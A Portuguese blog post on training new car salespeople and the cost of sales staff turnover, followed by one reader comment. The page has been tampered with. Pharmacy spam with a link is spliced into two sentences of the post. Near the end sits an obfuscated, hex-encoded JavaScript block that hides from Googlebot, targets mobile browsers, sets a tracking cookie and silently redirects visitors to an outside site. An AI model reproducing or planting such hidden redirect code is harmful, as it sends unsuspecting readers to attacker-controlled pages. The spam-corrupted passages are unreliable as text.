Posted by IN / 1 response

Novos Vendedores um investimento ou um custo!

26 January 2016

Novos Vendedores     Vendedores Novos

“Numa das nossas sessões de formação sondava eu os formandos (candidatos a vendedores), para saber das suas expectativas de futuro como vendedores.

O que esperava estar a fazer daqui a um ano?

As respostas saíam prontas. À medida que ia passando a palavra de formando para formando as respostas refinavam… claramente eu ganhava cada vez mais conforto perante tamanha vontade de vencer. Ali desfilava um grupo de verdadeiros heróis. o desejo verbalizado de cada um dava disso testemunho:

– … Eu sempre gostei de automóveis e agora finalmente vou poder…por isso…
– … Eu sempre desejei ser vendedor de automóveis e agora….
– … Eu faço questão de vir a ser o melhor entre os melhores…
-… Eu acho que a partir de agora…
 

E ainda mais um outro e outro ainda e mais outro… … até que um deles, meio escondido por detrás de tamanho exército procura verbalizar uma certa angústia já “chapada no rosto”….

.. Dou-lhe a palavra… “diga.. diga…solicito

“.. Bom Fernando, sabe, nós já estamos a receber muitas fichas do Sistema X (DMS) de outros vendedores. Eu tenho reparado que quase todas as fichas dizem num dos campos,:

 –  “ Ex-João Cunha,  Ex-Luis Nunes, Ex-Anabela.. etc…

 Olhe, sabe por isso o que eu quero estar a fazer daqui a um ano?

buy a at a low price generic pills online  “ .. o que eu quero é, daqui a um ano, não ser um outro  Ex – Vendedor

Grande pragmatismo o deste vendedor.

Pois é:  eu só tive que subscrever este vendedor:

– Vocês estão aqui porque há outros que já cá não estão!

 

Grande desafio para todos nós:

– Que equipas queremos nós ter?
– Que tipo de recrutamento e seleção?
– Que tipo de integração?
– Que formação …. Que organização…para as nossas Empresas?.
– Quantos destes jovens estarão cá daqui a um ano, dois anos?
– E .. sobretudo .. quanto está a custar às empresas o ainda elevado “Turnover”? 

 

E porquê?

– Por falta de acompanhamento (formação, coaching)  levando a que o candidato a vendedor nem sequer tenha tido a oportunidade de “chegar lá?”

– Recorremos nós com facilidade à lei da seleção natural? Opção única? Entra e logo se vê?

Ou ainda e não menos grave:

– O jovem encontrou a sua oportunidade na Concorrência?

Trocou a sua Organização por outro projeto supostamente similar?

Grande questão;

Que equipas desejamos nós para as nossas Organizações?

O que estamos nós a fazer todos os dias para isso?

O Esforço de todos é notório:

Os próprios – Jovens com determinação para aceitar desafios e com expectativas de abraçar com êxito a profissão VENDEDOR!

Os Chefes de Vendas, – Como verdadeiros “treinadores” das suas equipas. Como VERDADEIROS Chefes de Vendas que se envolvem para “criar” uma equipa de “guerrilheiros” e não um somatório de “uns-que-valem” menos “outros-por-nem-por-isso”!

Os Gerentes – No investimento financeiro e emocional, para tornar possível a realização em conforto do seu orçamento – o verdadeiro Gestor dos Recursos Humanos, Gestão de PESSOAS, que desejam ali encontrar não só os meios financeiros mas sobretudo a sua realização pessoal;

Todas as pessoas envolvidas neste conjunto de acções de formação que, com paixão, desempenham o “seu papel” de treinadores de momento, angariadores de motivação para os próximos tempos, incutindo nestes jovens os Valores da Cultura da sua Organização.

– Primar pela QualidadeQuantidadeRentabilidade.

Chegar ao final dos dias da formação e proceder à avaliação é com certeza recompensador mas é UM MOMENTO.

A nossa principal recompensa é verificar que, daqui a uns meses, estes candidatos a vendedores, que trazem consigo a energia para os desafios, possam estar connosco (e) mostrando que são afinal Verdadeiros Vendedores, com os valores (Vendas) de acordo com as expectativas dos seus Gerentes/Chefes de Vendas.

O Desafio continua no dia em que saíram das nossas salas de formação.

– Uma integração na Concessão de forma ajustada e profissional;
– A formação continua sobretudo nos primeiros tempos;
– Um rigoroso acompanhamento do Chefe de Vendas…

Grande princípio nesta aventura:

– Se o vendedor faz a order cheaply medications without rx – http://tekniksipilsuwitno.mhs.narotama.ac.id/2016/11/30/order-cheaply-medications-without-rx/ venda a Vitória é sua!
– Se o Vendedor, depois de uma análise cuidada com o seu Chefe de Vendas deste negócio, declara

a Perda a Responsabilidade é dos dois.

 

Trabalhar todos os dias a ATITUDE.

Também na formação a preparação das pessoas para a “vontade” a ATITUDE, é um desafio. Os aspectos motivacionais são uma das principais “ARMAS” para o vencer do dia a dia dos grandes momentos.

Durante o período da formação, alguns “candidatos a vendedores” são assaltados com uma espécie de crises de pânico pelo medo de falhar, tornando-se já evidente a predisposição para Ex-vendedores.

. Rapidamente actualizam as suas quotas no clube dos mestres em “Desculpativite” e ….

Pois, mas é que os clientes…nem sempre …
– Pois, mas é que as retomas são o problema pois…
– Pois, mas é que o Chefe de vendas diz que…
– … Às vezes passo um dia inteiro no Stand e não se passa nada…

 

A nossa resposta só pode ser sempre a mesma ..

 Façam o vosso trabalho da forma mais empenhada possível:

– Profissional.. profissional… profissional…

E completamos:

Honrem os vossos “compromissus”

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

one response to Novos Vendedores um investimento ou um custo!

  • Daniela Miranda says on August 10, 2016 at 9:16 pm

    Um investimento (sem sombra de dúvidas) pois a chave para o sucesso de qualquer empresa, não será somente a qualidade do seu produto, mas também a qualidade e competência dos seus colaboradores. Porquê? Porque profissionais bem selecionados, motivados, valorizados, comprometidos e que sintam que fazem parte de uma equipa são a maior e mais valiosa vantagem que pode ter uma organização no mundo do mercado de trabalho, sobretudo no mercado competitivo das vendas. Em termos práticos, apostar numa formação contínua onde são feitas atualizações dos produtos e das soluções disponiveis, bem como a apresentação e treino de técnicas de conversação com o cliente e de diagnóstico das necessidades do mesmo, será um passo gigante para que aqueles formandos não sejam outro Ex-Vendedor.

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>